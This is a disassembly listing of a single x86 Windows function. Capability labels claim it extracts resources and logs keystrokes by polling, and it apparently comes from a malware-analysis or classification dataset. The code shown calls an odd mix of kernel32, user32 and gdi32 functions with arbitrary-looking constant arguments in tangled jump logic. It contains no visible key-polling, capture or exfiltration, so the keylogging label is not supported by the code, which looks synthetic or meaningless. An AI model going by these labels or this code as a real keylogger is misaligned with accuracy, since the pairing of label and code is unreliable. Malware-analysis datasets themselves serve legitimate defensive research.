Function at 0x10001691
Capabilities:
Extract resource via kernel32 functions
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
mov ecx, 0xdfcff4
mov dword [ebp - 4], ecx
mov ecx, esp
lea edx, [ebp - 4]
mov dword [ecx + 4], edx
mov dword [ecx + 0x10], 0xafc
mov dword [ecx + 0xc], 0x356
mov dword [ecx + 8], 0xafc
mov dword [ecx], 0xb3a
mov ecx, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
mov dword [ebp - 8], eax
call ecx
sub esp, 0x14
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
jmp 0x100017a3
add esp, 0x74
pop ebp
ret
mov eax, dword [ebp - 0x14]
mov ecx, 0xaf286bcb
mov dword [ebp - 0x18], eax
mul ecx
mov eax, dword [ebp - 0x18]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
imul eax, eax, 0x13
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov eax, ecx
sub eax, 5
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], eax
je 0x100017fc
jmp 0x1000171d
mov eax, dword [ebp - 0x1c]
sub eax, 7
mov dword [ebp - 0x24], eax
je 0x10001782
jmp 0x1000182b
mov eax, dword [sym.imp.USER32.dll_GetProcessWindowStation]
call eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x28], eax
call ecx
mov ecx, esp
mov dword [ecx + 4], 0x468
mov dword [ecx], 0xc88a7f
mov ecx, dword [sym.imp.USER32.dll_SwitchToThisWindow]
mov dword [ebp - 0x2c], eax
call ecx
sub esp, 8
jmp 0x10001846
mov eax, dword [ebp - 0x30]
sub eax, 0xb
mov dword [ebp - 0x34], eax
je 0x10001846
jmp 0x10001772
mov eax, dword [ebp - 0x30]
sub eax, 0x54
mov dword [ebp - 0x38], eax
je 0x1000172d
jmp 0x10001888
mov eax, esp
mov dword [eax + 4], 0xf4f
mov dword [eax], 0xf11
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov dword [ebp - 0x3c], eax
jmp 0x1000182b
mov eax, dword [ebp - 0x10]
mov ecx, esp
mov dword [ecx], 0xee3ffd
mov ecx, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [ebp - 0x30], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x8d
mov dword [ecx], 0xc9e929
mov ecx, dword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [ebp - 0x40], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0xc5323d
mov ecx, dword [sym.imp.USER32.dll_SetThreadDesktop]
mov dword [ebp - 0x44], eax
call ecx
sub esp, 4
xor ecx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x14], ecx
jmp 0x100016e9
mov eax, esp
mov dword [eax + 0xc], 0x2854ee
mov dword [eax + 8], 0x9fc
mov dword [eax + 4], 0x2da
mov dword [eax], 0xe5ac0a
mov eax, dword [sym.imp.USER32.dll_DrawIcon]
call eax
sub esp, 0x10
mov dword [ebp - 0x4c], eax
jmp 0x10001782
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x17f
mov dword [ebp - 0x14], eax
je 0x10001761
jmp 0x100016e9
mov eax, esp
mov dword [eax], 0x9123a4
mov eax, dword [sym.imp.KERNEL32.dll_LockResource]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xd4f2f6
mov ecx, dword [sym.imp.KERNEL32.dll_UnregisterWait]
mov dword [ebp - 0x50], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanW]
mov dword [ebp - 0x54], eax
call ecx
sub esp, 4
mov word [ebp - 0x56], ax
mov eax, dword [ebp - 0x30]
add eax, 1
mov ecx, esp
mov dword [ecx], 0x6b434b
mov ecx, dword [sym.imp.USER32.dll_PaintDesktop]
mov dword [ebp - 0x5c], eax
call ecx
sub esp, 4
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x71
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10], ecx
je 0x100016e4
jmp 0x100017a3